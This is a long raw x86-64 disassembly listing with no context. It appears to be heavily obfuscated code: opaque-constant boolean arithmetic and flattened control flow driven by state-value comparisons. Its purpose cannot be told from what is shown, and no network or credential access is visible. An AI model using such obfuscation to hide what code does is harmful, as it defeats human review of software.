mov r9b, byte [rbp + 0x3d]
or r9b, byte [rbp + 0x2c]
xor r9b, 1
or r9b, byte [rbp + 0x28]
xor r9b, r12b
xor bl, 1
or bl, byte [rbp + 0x3c]
mov cl, byte [rbp + 0x38]
xor bl, cl
mov al, byte [rbp + 0x3b]
xor al, cl
xor r13b, 1
or r13b, al
xor bl, 1
mov eax, ebx
xor al, r13b
or bl, r13b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov ecx, ebx
and cl, al
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov r8d, ecx
and r8b, r9b
mov ebx, r9d
xor bl, al
or al, r9b
mov edx, r9d
xor dl, 1
xor cl, 1
and cl, dl
or cl, r8b
xor al, 1
or al, bl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov r8d, ecx
xor r8b, 1
mov ebx, r8d
or bl, cl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov r9d, edx
and r9b, al
xor dl, al
or dl, r9b
mov r9d, edx
and r9b, cl
xor dl, 1
and dl, r8b
or dl, r9b
xor bl, cl
or al, r8b
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, r10b
xor r10b, 1
xor al, 1
mov ecx, eax
xor cl, r10b
and cl, al
xor r10b, dl
mov edx, r10d
xor dl, 1
mov eax, ecx
xor al, 1
and cl, al
and dl, r10b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, r10d
and bl, dl
xor dl, r10b
or dl, bl
mov ebx, ecx
xor bl, 1
and bl, dl
xor dl, 1
and dl, cl
or dl, bl
mov ecx, eax
and cl, r10b
xor al, r10b
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x2357a5c
mov ebx, 0xbcef9f07
cmovne eax, ebx
test dl, 1
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0x2357a5c
jmp 0x14001a3c7
cmp eax, 0xb38d85f6
je 0x14001c30b
cmp eax, 0xb56c0221
jne 0x140001970
mov eax, dword [0x1400a6668]
lea edx, [rax - 1]
imul edx, eax
mov r10d, edx
not r10d
mov eax, r10d
and eax, 0x6e209da0
mov ecx, edx
and ecx, 0x10421f
or ecx, eax
xor ecx, 0x10421f
mov eax, edx
and eax, 0x91cf2040
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x75ea3be7
and eax, 0x8a15c418
or eax, ecx
mov ebx, eax
xor ebx, 0xe0050a04
xor eax, 0x13800458
and eax, 0x17a015fb
and ebx, 0xe85fea04
or ebx, eax
mov ecx, ebx
xor ecx, 0xe85fea04
xor ebx, 0x17a015fb
mov eax, edx
or eax, r10d
mov esi, eax
not esi
and esi, ecx
or ecx, eax
mov edi, ecx
not edi
and eax, ebx
or eax, esi
mov ebx, eax
not ebx
mov esi, ecx
and esi, 0x20d626b1
and edi, 0xdf29d94e
or edi, esi
or ecx, ebx
and ebx, 0x20d626b1
and eax, 0xdf29d94e
or eax, ebx
xor eax, edi
not ecx
or ecx, eax
mov ebx, ecx
not ebx
or ecx, 0x4792b9b
mov edi, ecx
not edi
or ebx, 0xfb86d464
mov eax, ebx
not eax
and ecx, 0xbe1ada6c
and edi, 0x41840400
or edi, ecx
and ebx, 0xbe1ada6c
and eax, 0x612193
or eax, ebx
xor eax, edi
mov ecx, eax
not ecx
and ecx, 0x4792b9b
and eax, 0xfb86d464
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x75c33c47
and eax, 0x8a3cc3b8
or eax, ecx
mov ebx, eax
xor ebx, 0x15c32047
xor eax, 0x80248038
or ebx, 0xe0249c38
mov edi, ebx
not edi
or eax, 0x1fdb63c7
mov r11d, eax
not r11d
and ebx, 0x333ee7ff
and edi, 0xcc10000
or edi, ebx
and eax, 0x333ee7ff
and r11d, 0xc0001800
or r11d, eax
xor r11d, edi
mov eax, r11d
not eax
and eax, 0x6c08c59e
and r11d, 0x93f73a61
or r11d, eax
mov eax, r11d
xor eax, 0x281802
xor r11d, 0x72130448
and eax, 0x1e8ba13
and r11d, 0xfe1745ec
or r11d, eax
mov r8d, r11d
xor r8d, 0x1e8ba13
mov r9d, r11d
xor r9d, 0xe040188
mov ebx, r10d
or ebx, 0xb2593c03
mov eax, ebx
not eax
or edx, 0x126808c
and edx, 0x8326988e
and r10d, 0x30592401
or r10d, edx
and ebx, 0x8326988e
and eax, 0x4c804370
or eax, ebx
xor eax, r10d
mov edx, eax
not edx
and edx, 0xf819ad6e
and eax, 0x7e65291
or eax, edx
mov r10d, eax
xor r10d, 0xb5bf6e92
mov ebx, eax
xor ebx, 0x48409025
mov edx, r10d
or edx, 0x139c888
mov edi, edx
not edi
xor eax, 0x4b7959e5
and eax, r10d
mov ecx, eax
not ecx
mov esi, edx
and esi, 0x7d59de54
and edi, 0x82862123
or edi, esi
or edx, ecx
and ecx, 0x7d59de54
and eax, 0x82a621ab
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x3e718fe7
and edx, 0xc18e7018
or edx, eax
xor edx, 0x3f48476f
and r10d, 0xb22207ca
and ebx, 0x4dddf835
or ebx, r10d
xor ebx, 0x4dddf835
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
mov r13d, ebx
mov eax, ebx
xor eax, 0xe75c3d51
and eax, ebx
not ebx
and ebx, 0x825c2501
and r13d, 0x65001850
or r13d, ebx
mov ecx, r13d
xor ecx, 0x45001810
xor r13d, 0x9affe7af
mov edx, eax
not edx
mov ebx, r13d
and ebx, 0xb0354343
and ecx, 0x47483c10
or ecx, ebx
or r13d, edx
and edx, 0xb0354343
and eax, 0x4fcabcbc
or eax, edx
xor eax, ecx
not r13d
or r13d, eax
mov eax, r13d
not eax
and eax, 0x18a3c2ae
and r13d, 0xe75c3d51
or r13d, eax
mov r10d, r13d
not r10d
xor r11d, 0x12030000
mov edx, r8d
mov ecx, r8d
and ecx, 0xf1fb4674
and r9d, 0xe04b98b
or r9d, ecx
xor r9d, 0xf562a887
or r9d, r8d
or r8d, 0x378b14a9
mov r15d, r8d
not r15d
or r11d, 0x70a002
and r11d, 0x137ba002
and edx, 0x248014a9
or edx, r11d
and r8d, 0x137ba002
and r15d, 0xc8044b54
or r15d, r8d
xor r15d, edx
mov ecx, r15d
not ecx
and ecx, 0xc874eb56
and r15d, 0x378b14a9
or r15d, ecx
mov edx, r13d
or edx, 0x99e4fa6c
mov ecx, edx
not ecx
mov edi, r13d
xor edi, 0x661b0593
and edi, r13d
mov eax, edi
not eax
mov ebx, edx
and ebx, 0x834a754f
and ecx, 0x64110090
or ecx, ebx
or edx, eax
and eax, 0x834a754f
and edi, 0x7cb58ab0
or edi, eax
xor edi, ecx
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0xadebe48e
and edx, 0x52141b71
or edx, eax
mov r8d, edx
xor r8d, 0x340f1ee2
mov r11d, r15d
not r11d
mov eax, r11d
and eax, 0x499eef3
mov ebx, r15d
and ebx, 0xfb66110c
or ebx, eax
not ebx
or ebx, r11d
mov r12d, ebx
not r12d
mov eax, r9d
not eax
mov ecx, edx
xor ecx, 0xcbf0e11d
mov edi, ecx
and edi, 0x499eef3
xor edx, 0xcf690fee
or edx, edi
mov edi, edx
not edi
and r10d, 0xfb66110c
xor r13d, 0x499eef3
or r13d, r10d
mov esi, r13d
not esi
and esi, 0xe9854b57
and r13d, 0x167ab4a8
or r13d, esi
mov r10d, r13d
xor r10d, 0x167ab4a8
mov r14d, r13d
xor r14d, 0xe9854b57
and eax, ebx
or ebx, r9d
not ebx
and r9d, r12d
or r9d, eax
mov eax, ebx
and eax, r9d
xor r9d, ebx
or r9d, eax
and edx, 0xdb6e0a35
mov eax, edi
and eax, 0x2491f5ca
or eax, edx
xor eax, 0x2491f5ca
mov edx, eax
and edx, 0xb1b1cd52
and edi, 0x4e4e32ad
or edi, edx
mov edx, eax
and edx, r14d
xor eax, r14d
and r14d, 0xb1b1cd52
xor r13d, 0xa7cb79fa
and r13d, r10d
mov ebx, r14d
and ebx, r13d
xor r13d, r14d
or r13d, ebx
mov ebx, edi
not ebx
and ebx, r13d
not r13d
and r13d, edi
or r13d, ebx
or eax, edx
mov edx, eax
not edx
and edx, 0xc7398d63
and eax, 0x38c6729c
or eax, edx
mov ebx, eax
xor ebx, 0x800229c
mov edx, r13d
not edx
xor eax, 0xc7398d63
mov edi, edx
and edi, 0xf0f65d03
and r13d, 0xf09a2fc
or r13d, edi
or edx, eax
and eax, 0xf0f65d03
and ebx, 0xf09a2fc
or ebx, eax
xor ebx, r13d
not edx
or edx, ebx
mov eax, r9d
not eax
and eax, 0x74b3acf8
mov ebx, r9d
and ebx, 0x8b4c5307
or ebx, eax
xor ebx, edx
xor ebx, 0x74b3acf8
and ebx, edx
xor edx, r9d
and edx, r9d
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
and r8d, r11d
or r11d, ecx
not r11d
and ecx, r15d
or ecx, r8d
mov eax, r11d
and eax, ecx
xor ecx, r11d
or ecx, eax
mov eax, ecx
not eax
and eax, 0x10210a5
mov ebx, ecx
and ebx, 0x72090958
or ebx, eax
xor ebx, 0x72090958
and ecx, 0x8cf4e602
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xa9d3067
and ecx, 0xf562cf98
or ecx, eax
mov edi, ecx
xor edi, 0x8669d665
mov r8d, ecx
xor r8d, 0x7996299a
mov ebx, edx
xor ebx, 0xf9c3897e
and ebx, edx
mov esi, edx
not esi
mov edx, esi
and edx, 0xf9c3897e
xor ecx, 0x7faa5f1b
mov eax, ecx
and eax, r8d
and ecx, edi
mov edi, edx
and edi, ebx
xor ebx, edx
or ebx, edi
mov edx, eax
not edx
mov edi, ecx
not edi
mov r9d, edx
and r9d, 0x9fdfeda5
and eax, 0x6020125a
or eax, r9d
or edx, edi
and edi, 0x9fdfeda5
and ecx, 0x6020125a
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov eax, ebx
not eax
and eax, edx
not edx
and edx, ebx
or edx, eax
mov eax, esi
and eax, r8d
xor esi, r8d
or esi, eax
mov eax, esi
not eax
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x8463bfd2
and edx, 0x7b9c402d
or edx, ecx
or edi, esi
and esi, 0x8463bfd2
and eax, 0x7b9c402d
or eax, esi
xor eax, edx
not edi
or edi, eax
mov r8d, edi
not r8d
mov eax, r8d
and eax, 0x22d10b04
mov edx, edi
and edx, 0xdd2ef4fb
or edx, eax
mov ecx, edx
xor ecx, 0xdd2ef4fb
mov ebx, edx
xor ebx, 0x22d10b04
mov eax, edx
xor eax, 0xce7bd0b5
mov esi, eax
and esi, ebx
and eax, ecx
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x37f2591f
and eax, 0xc80da6e0
or eax, ecx
mov ecx, eax
xor ecx, 0x20a51040
and ebx, 0xfffffffe
xor edx, 0xdd2ef4fa
or edx, ebx
mov ebx, edx
not ebx
xor eax, 0xdb5882af
mov esi, eax
and esi, 0xd55aed36
and ecx, 0x2aa512c9
or ecx, esi
or eax, edx
and edx, 0xd55aed36
and ebx, 0x2aa512c9
or ebx, edx
xor ebx, ecx
not eax
or eax, ebx
mov edx, eax
mov ecx, eax
xor ecx, 0xdd164be6
and ecx, eax
not eax
and eax, 0x47bef8bc
and edx, 0xb8410743
or edx, eax
mov eax, edx
xor eax, 0x140
xor edx, 0x451648a4
or edx, 0x22e9b419
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0xdc58ee92
and eax, 0x1060164
or eax, esi
or edx, ebx
and ebx, 0xdc58ee92
and ecx, 0x23a7116d
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x7f306f13
and edx, 0x80cf90ec
or edx, eax
mov eax, edx
xor eax, 0xc08d90a
xor edx, 0x82262051
and edx, 0xd3f72251
and eax, 0x2c08ddae
or eax, edx
mov ecx, eax
xor ecx, 0x400558a
xor eax, 0x43372050
and eax, 0x6b3fa874
and ecx, 0x94c0578b
or ecx, eax
mov r11d, ecx
xor r11d, 0x2b01a854
xor ecx, 0x94c00601
and ecx, 0xd4fe0621
and r11d, 0x2b01f9de
or r11d, ecx
mov r9d, r11d
xor r9d, 0x2b01f9de
mov eax, r8d
and eax, edi
mov ecx, r8d
and ecx, eax
xor eax, r8d
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x21ff3d9
and eax, 0xfde00c26
or eax, ecx
mov ecx, eax
and ecx, 1
xor eax, 0x21ff3d8
and eax, 0xfffffffe
or eax, ecx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov eax, r8d
and eax, 0xfffffffe
and edi, 1
or edi, eax
xor r8d, edi
and r8d, edi
mov ebx, ecx
mov edx, ecx
xor edx, 0x90e126e1
and edx, ecx
not ecx
and ecx, 0xbdede276
and ebx, 0x42121d89
or ebx, ecx
xor ebx, 0x42121d89
mov r14d, r8d
not r14d
mov r10d, r14d
mov edi, ebx
and edi, r14d
xor r14d, ebx
and ebx, 0x90e126e1
or r8d, 0x6f1ed91e
mov esi, r8d
not esi
or r10d, 0x90e126e1
mov ecx, r10d
not ecx
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
and r8d, 0x4ffd5bc8
and esi, 0x90002421
or esi, r8d
and r10d, 0x4ffd5bc8
and ecx, 0x20028016
or ecx, r10d
xor ecx, esi
mov eax, edx
not eax
and eax, 0xc5877de8
and edx, 0x3a788217
or edx, eax
mov eax, ecx
not eax
and eax, 0xc5877de8
and ecx, 0x3a788217
or ecx, eax
xor ecx, edx
or r14d, edi
not r14d
mov eax, ecx
and eax, r14d
xor r14d, ecx
or r14d, eax
mov r8d, r11d
xor r8d, 0xd4fe0621
mov eax, r8d
and eax, r9d
mov ecx, eax
not ecx
mov edx, r9d
and edx, 0xeea032cd
mov ebx, r8d
and ebx, 0x115fcd32
or ebx, edx
or r9d, ecx
and ecx, 0xeea032cd
and eax, 0x115fcd32
or eax, ecx
xor eax, ebx
not r9d
or r9d, eax
mov r12d, r14d
not r12d
mov r10d, r12d
and r10d, r14d
mov eax, r12d
and eax, r10d
xor r10d, r12d
or r10d, eax
mov r15d, r9d
mov r13d, r9d
xor r13d, 0x69fa1b5f
and r13d, r9d
not r9d
mov eax, r9d
and eax, 0x77f57744
xor r15d, 0x880a88bb
or r15d, eax
mov eax, r15d
not eax
and r8d, 0x880a88bb
xor r11d, 0x5cf48e9a
or r11d, r8d
mov ecx, r11d
not ecx
mov r8d, r10d
not r8d
mov edx, r8d
and edx, 0x22d111cc
mov edi, r10d
and edi, 0xdd2eee33
or edi, edx
xor edi, 0x55246688
mov edx, edi
xor edx, r8d
and edx, edi
mov edi, r12d
and edi, 0x135184cb
and r14d, 0xecae7b34
or r14d, edi
xor r14d, 0x9b5b0c70
xor r12d, r14d
and r12d, r14d
and ecx, r15d
or r15d, r11d
mov edi, r15d
not edi
and r11d, eax
or r11d, ecx
mov eax, r11d
not eax
mov ecx, r15d
and ecx, 0xc47570b1
and edi, 0x3b8a8f4e
or edi, ecx
or r15d, eax
and eax, 0xc47570b1
and r11d, 0x3b8a8f4e
or r11d, eax
xor r11d, edi
not r15d
or r15d, r11d
mov esi, edx
mov ecx, edx
xor ecx, 0xadb3aba
and ecx, edx
not edx
and edx, 0x69fb1e78
and esi, 0x9604e187
or esi, edx
mov r14d, esi
xor r14d, 0x9604e187
mov ebx, r12d
not ebx
mov edi, ebx
and edi, 0xf96ba003
and r12d, 0x6945ffc
or r12d, edi
mov eax, esi
xor eax, 0x632024c2
and eax, r14d
mov edi, eax
not edi
mov r11d, edi
and r11d, 0xd5020d3b
and eax, 0x2afdf2c4
or eax, r11d
mov edx, ecx
not edx
or edi, edx
and edx, 0xd5020d3b
and ecx, 0x2afdf2c4
or ecx, edx
mov edx, r12d
xor r12d, 0xf96ba003
xor ecx, eax
mov eax, r12d
or eax, 0xf524c545
not edi
or edi, ecx
mov ecx, eax
not ecx
or ebx, 0xadb3aba
and eax, 0x2a083a33
and ecx, 0xd30088
or ecx, eax
mov eax, ebx
not eax
and ebx, 0x2a083a33
and eax, 0xd524c544
or eax, ebx
xor eax, ecx
mov ecx, edi
not ecx
and ecx, eax
not eax
and eax, edi
or eax, ecx
xor esi, 0x69fb1e78
mov ecx, esi
and ecx, 0xe7feb0aa
and r14d, 0x18014f55
or r14d, ecx
xor edx, 0x4f54
or esi, r12d
and r12d, 0xe7feb0aa
and edx, 0x18014f55
or edx, r12d
xor edx, r14d
not esi
or esi, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd11a9d78
and eax, 0x2ee56287
or eax, edx
mov edx, esi
not edx
or ecx, esi
and esi, 0xd11a9d78
and edx, 0x2ee56287
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov esi, r15d
xor esi, 0x7425a3b8
and esi, r15d
not r15d
and r15d, 0x7425a3b8
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x5b5ac40b
and ecx, 0xa4a53bf4
or ecx, ebx
mov ebx, ecx
xor ebx, 0xa4a53bf4
xor ecx, 0x2f7f67b3
and ecx, ebx
or edx, 0x7425a3b8
mov ebx, r15d
and ebx, esi
xor esi, r15d
or esi, ebx
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0xbb664b5d
and ecx, 0x4499b4a2
or ecx, edi
mov edi, edx
not edi
or ebx, edx
and edx, 0xbb664b5d
and edi, 0x981402
or edi, edx
mov edx, r9d
xor edi, ecx
mov ecx, r8d
and ecx, 0x795fe870
and r10d, 0x86a0178f
or r10d, ecx
mov ecx, r10d
xor ecx, 0x86a0178f
and edx, ecx
xor ecx, r9d
not ebx
or ebx, edi
mov eax, esi
not eax
and eax, ebx
not ebx
and ebx, esi
or ebx, eax
and r9d, 0x69fa1b5f
xor r10d, 0x695a0850
or r10d, 0x9605e4a0
mov eax, r10d
not eax
or r8d, 0x69fa1b5f
mov edi, r9d
and edi, r13d
xor r13d, r9d
mov esi, r8d
not esi
or r13d, edi
and r10d, 0xaf2b8bbf
and eax, 0x40d01040
or eax, r10d
and r8d, 0xaf2b8bbf
and esi, 0x10046400
or esi, r8d
xor esi, eax
mov eax, r13d
not eax
and eax, 0x661ee386
and r13d, 0x99e11c79
or r13d, eax
mov eax, esi
not eax
and eax, 0x661ee386
and esi, 0x99e11c79
or esi, eax
xor esi, r13d
or ecx, edx
not ecx
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x30af7468
and edx, ecx
not ecx
and ecx, 0x10062420
and eax, 0x20a95048
or eax, ecx
xor eax, 0x20a95048
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0xcf508b97
and edx, 0x30af7468
or edx, eax
mov edi, edx
not edi
and edx, 0x76b35c1f
and edi, 0x894ca3e0
or edi, edx
mov r11d, edi
xor r11d, 0x76b35c1f
mov r8d, edi
xor r8d, 0x894ca3e0
mov r9d, ebx
not r9d
mov ecx, ebx
xor ecx, 0x58faedc5
and ecx, r9d
mov esi, ebx
and esi, 0xa705123a
xor edi, 0xd1b64e25
and edi, r11d
mov edx, r11d
or edx, 0x58faedc5
mov r10d, ecx
and r10d, esi
xor esi, ecx
or esi, r10d
mov ecx, edi
not ecx
mov r10d, ecx
and r10d, 0xfe4d3f5d
and edi, 0x1b2c0a2
or edi, r10d
mov eax, edx
not eax
or ecx, edx
and edx, 0xfe4d3f5d
and eax, 0x1000022
or eax, edx
xor eax, edi
not ecx
or ecx, eax
mov eax, esi
not eax
and eax, ecx
not ecx
and ecx, esi
or ecx, eax
mov eax, ebx
and eax, 0xd010ee48
and r9d, 0x2fef11b7
or r9d, eax
or ebx, r8d
and r8d, 0xd010ee48
and r11d, 0x2fef11b7
or r11d, r8d
xor r11d, r9d
not ebx
or ebx, r11d
mov edx, ebx
not edx
mov r9d, ecx
not r9d
mov eax, r9d
and eax, 0x820c109
and ecx, 0xf7df3ef6
or ecx, eax
or r9d, ebx
and ebx, 0x820c109
and edx, 0xf7df3ef6
or edx, ebx
xor edx, ecx
not r9d
or r9d, edx
mov r8d, r9d
not r8d
mov eax, r8d
and eax, 0xf826c30d
mov ecx, r9d
and ecx, 0x6400800
or ecx, eax
xor ecx, 0x6400800
mov eax, r9d
xor eax, 0xfe66cb0d
and eax, r9d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xf3238274
and eax, 0xcdc7d8b
or eax, ecx
mov ecx, eax
xor ecx, 0xd00a8082
xor eax, 0x1004011
and eax, 0x23b07615
and ecx, 0xdc4f89ea
or ecx, eax
mov edi, ecx
xor edi, 0xdc44890a
xor ecx, 0x903605
and ecx, 0x9b36e5
and edi, 0xff64c91a
or edi, ecx
mov eax, edi
xor eax, 0xff64c91a
mov r10d, edi
xor r10d, 0x9b36e5
mov ebx, r8d
or ebx, r9d
mov edx, ebx
not edx
xor edi, 0xb0fd11df
mov esi, edi
and esi, r10d
and edi, eax
mov ecx, ebx
xor ecx, 0xb066273a
and ecx, edx
mov edx, esi
not edx
mov eax, edx
and eax, 0x377b58d
and esi, 0xfc884a72
or esi, eax
mov eax, edi
not eax
or edx, eax
and eax, 0x377b58d
and edi, 0xfc884a72
or edi, eax
xor edi, esi
mov eax, ebx
and eax, 0x4f99d8c5
not edx
or edx, edi
mov edi, eax
and edi, ecx
xor ecx, eax
or ecx, edi
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
or ecx, eax
mov eax, r10d
and eax, ebx
xor ebx, r10d
or ebx, eax
mov eax, ebx
not eax
and eax, 0xafd1411d
and ebx, 0x502ebee2
or ebx, eax
mov eax, ebx
xor eax, 0x102094a0
xor ebx, 0xafd1411d
mov edx, ecx
not edx
mov edi, edx
and edi, 0x669e2b47
and ecx, 0x9961d4b8
or ecx, edi
or edx, ebx
and ebx, 0x669e2b47
and eax, 0x9961d4b8
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
xor eax, 0xb9fb91b9
and eax, edx
mov ecx, edx
or ecx, 0x46046e46
mov edx, ecx
not edx
mov ebx, eax
not ebx
mov edi, ecx
and edi, 0x536ee867
and edx, 0xa8911198
or edx, edi
or ecx, ebx
and ebx, 0x536ee867
and eax, 0xac911798
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xd3672376
and ecx, 0x2c98dc89
or ecx, eax
mov eax, ecx
xor eax, 0x95424430
xor ecx, 0x6a9cb2cf
mov edx, ecx
or edx, 0x9d4e76fd
mov ebx, edx
not ebx
and eax, 0x9d4e76fd
and ecx, 0x62b18902
or ecx, eax
mov eax, ecx
not eax
mov edi, edx
and edi, 0xfa157f32
and ebx, 0xa08000
or ebx, edi
or edx, eax
and eax, 0xfa157f32
and ecx, 0x5ea80cd
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
or edx, 0xec90e479
mov ebx, edx
not ebx
or eax, 0x136f1b86
mov ecx, eax
not ecx
and edx, 0x9ca5b69
and ebx, 0x12250086
or ebx, edx
and eax, 0x9ca5b69
and ecx, 0xe410a410
or ecx, eax
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0xe12e257d
and ecx, 0x1ed1da82
or ecx, eax
mov eax, ecx
xor eax, 0x834c000
xor ecx, 0x8041005a
and ecx, 0x85cb015e
and eax, 0x7a34fea1
or eax, ecx
mov r10d, eax
xor r10d, 0x58008a81
xor eax, 0x810b0014
and eax, 0xa33f7434
and r10d, 0x5cc08bcb
or r10d, eax
xor r10d, 0xa33f7434
mov eax, r8d
or eax, 0xa18958a0
mov ecx, eax
not ecx
or r9d, 0x16422311
and r9d, 0x96c37331
and r8d, 0x21080880
or r8d, r9d
and eax, 0x96c37331
and ecx, 0x4834844e
or ecx, eax
xor ecx, r8d
mov eax, ecx
not eax
and eax, 0xee346102
and ecx, 0x11cb9efd
or ecx, eax
mov eax, ecx
xor eax, 0xb042c65d
xor ecx, 0xd0c30a0
mov ebx, eax
and ebx, 0x9d4e76fd
and ecx, 0x9d4e76fd
and eax, 0x62b18902
or eax, ecx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0x57fe9f95
and ecx, eax
and eax, 0xa801606a
or eax, ebx
xor eax, 0xa801606a
mov ebx, eax
and ebx, ecx
xor eax, ecx
or eax, ebx
mov ecx, eax
not ecx
and eax, 0x2208f70c
and ecx, 0xddf708f3
or ecx, eax
mov ebx, ecx
xor ebx, 0x20081404
xor ecx, 0x9f508a3
and ecx, 0xbf5ebab
and ebx, 0xf40a1454
or ebx, ecx
mov esi, ebx
xor esi, 0xf40a1454
xor ebx, 0xbf5ebab
mov ecx, r10d
and ecx, ebx
xor ebx, r10d
or ebx, ecx
mov r8d, ebx
not r8d
mov edx, r10d
xor edx, esi
not edx
and edx, esi
or esi, r10d
mov eax, esi
not eax
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x4029fa7e
and edx, 0xbfd60581
or edx, ecx
or edi, esi
and esi, 0x4029fa7e
and eax, 0xbfd60581
or eax, esi
xor eax, edx
not edi
or edi, eax
and ebx, 0xa13abae6
mov eax, r8d
and eax, 0x5ec54519
or eax, ebx
mov r9d, eax
xor r9d, 0x5ec54519
mov ebx, edi
not ebx
xor eax, 0xa13abae6
mov edx, r9d
and edx, 0x195b414e
and r8d, 0xe6a4beb1
or r8d, edx
mov ecx, edi
xor ecx, 0x195b414e
and ecx, ebx
mov edx, edi
and edx, 0xe6a4beb1
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, r8d
not ecx
and ecx, 0x7f9b5a92
and r8d, 0x8064a56d
or r8d, ecx
mov ecx, edx
not ecx
and ecx, 0x7f9b5a92
and edx, 0x8064a56d
or edx, ecx
xor edx, r8d
mov ecx, eax
and ecx, 0x846e4d25
and r9d, 0x7b91b2da
or r9d, ecx
or eax, edi
and edi, 0x846e4d25
and ebx, 0x7b91b2da
or ebx, edi
xor ebx, r9d
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0xe9c72a20
and eax, 0x1638d5df
or eax, ecx
mov ebx, eax
xor ebx, 0x163804cd
mov ecx, edx
not ecx
xor eax, 0xe9c72a20
mov edi, ecx
and edi, 0x88c6f932
and edx, 0x773906cd
or edx, edi
or ecx, eax
and eax, 0x88c6f932
and ebx, 0x773906cd
or ebx, eax
xor ebx, edx
not ecx
or ecx, ebx
mov r8d, ecx
not r8d
mov edx, ecx
and edx, 0x2cc5cb94
mov esi, r8d
and esi, 0xd33a346b
or esi, edx
mov eax, esi
xor eax, 0x4844994
xor esi, 0x50183023
and esi, 0x7859b223
and eax, 0x87a64ddc
or eax, esi
mov edx, eax
xor edx, 0x4220554
xor eax, 0x40512220
and eax, 0xc3d56aa8
and edx, 0x3c2a9557
or edx, eax
mov eax, edx
xor eax, 0xa48e446a
xor edx, 0x3c2a9557
and edx, eax
and ecx, 0xe051e2d8
mov eax, r8d
and eax, 0x1fae1d27
or eax, ecx
xor eax, 0x870acc1a
and r8d, 0x675b2ec2
or r8d, eax
mov esi, edx
mov edi, edx
xor edi, 0x592e73ee
and edi, edx
not edx
mov ecx, r8d
xor ecx, 0xa6d18c11
mov r9d, ecx
and r9d, r8d
mov r10d, edx
and r10d, r8d
xor edx, r8d
not r8d
or esi, 0xa6d18c11
mov ebx, esi
not ebx
and ecx, r8d
mov eax, esi
and eax, 0x80ba9594
and ebx, 0x5904626a
or ebx, eax
mov eax, edi
not eax
or esi, eax
and eax, 0x80ba9594
and edi, 0x7f456a6b
or edi, eax
xor edi, ebx
not esi
or esi, edi
mov eax, r9d
and eax, ecx
xor ecx, r9d
or ecx, eax
mov eax, esi
not eax
and eax, ecx
not ecx
and ecx, esi
or ecx, eax
or edx, r10d
mov eax, edx
not eax
and eax, 0xaff967d5
and edx, 0x5006982a
or edx, eax
mov ebx, edx
xor ebx, 0x50021820
mov r9d, ecx
not r9d
xor edx, 0xaff967d5
mov eax, r9d
and eax, 0x23e5c05f
and ecx, 0xdc1a3fa0
or ecx, eax
or r9d, edx
and edx, 0x23e5c05f
and ebx, 0xdc1a3fa0
or ebx, edx
xor ebx, ecx
not r9d
or r9d, ebx
mov ecx, r9d
not ecx
mov edx, r9d
xor edx, 0x5eaa7c0
and edx, r9d
or r9d, 0xfa15583f
mov ebx, edx
not ebx
mov eax, r9d
and eax, 0xd9fcf6d9
and ecx, 0x4020100
or ecx, eax
or r9d, ebx
and ebx, 0xd9fcf6d9
and edx, 0x26030926
or edx, ebx
xor edx, ecx
not r9d
or r9d, edx
mov r8d, r9d
not r8d
mov ecx, r8d
and ecx, 0x58290903
mov eax, r9d
and eax, 0x80062280
or eax, ecx
xor eax, 0x80062280
mov ecx, r9d
xor ecx, 0xd82f2b83
and ecx, r9d
mov ebx, eax
and ebx, ecx
xor ecx, eax
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x27d0d47c
and ecx, 0xd82f2b83
or ecx, eax
mov ebx, ecx
not ebx
and ecx, 0xa247fb7c
and ebx, 0x5db80483
or ebx, ecx
mov eax, ebx
xor eax, 0xa247fb7c
xor ebx, 0x5db80483
and ebx, eax
mov ecx, ebx
not ecx
mov eax, ecx
or eax, r8d
mov edx, eax
not edx
and ecx, 0x5d49ca8
and ebx, 0xfa2b6357
or ebx, ecx
mov ecx, r8d
and ecx, 0x5d49ca8
mov edi, r9d
and edi, 0xfa2b6357
or edi, ecx
xor edi, ebx
mov ecx, edi
not ecx
mov ebx, eax
and ebx, 0xbd3adc9
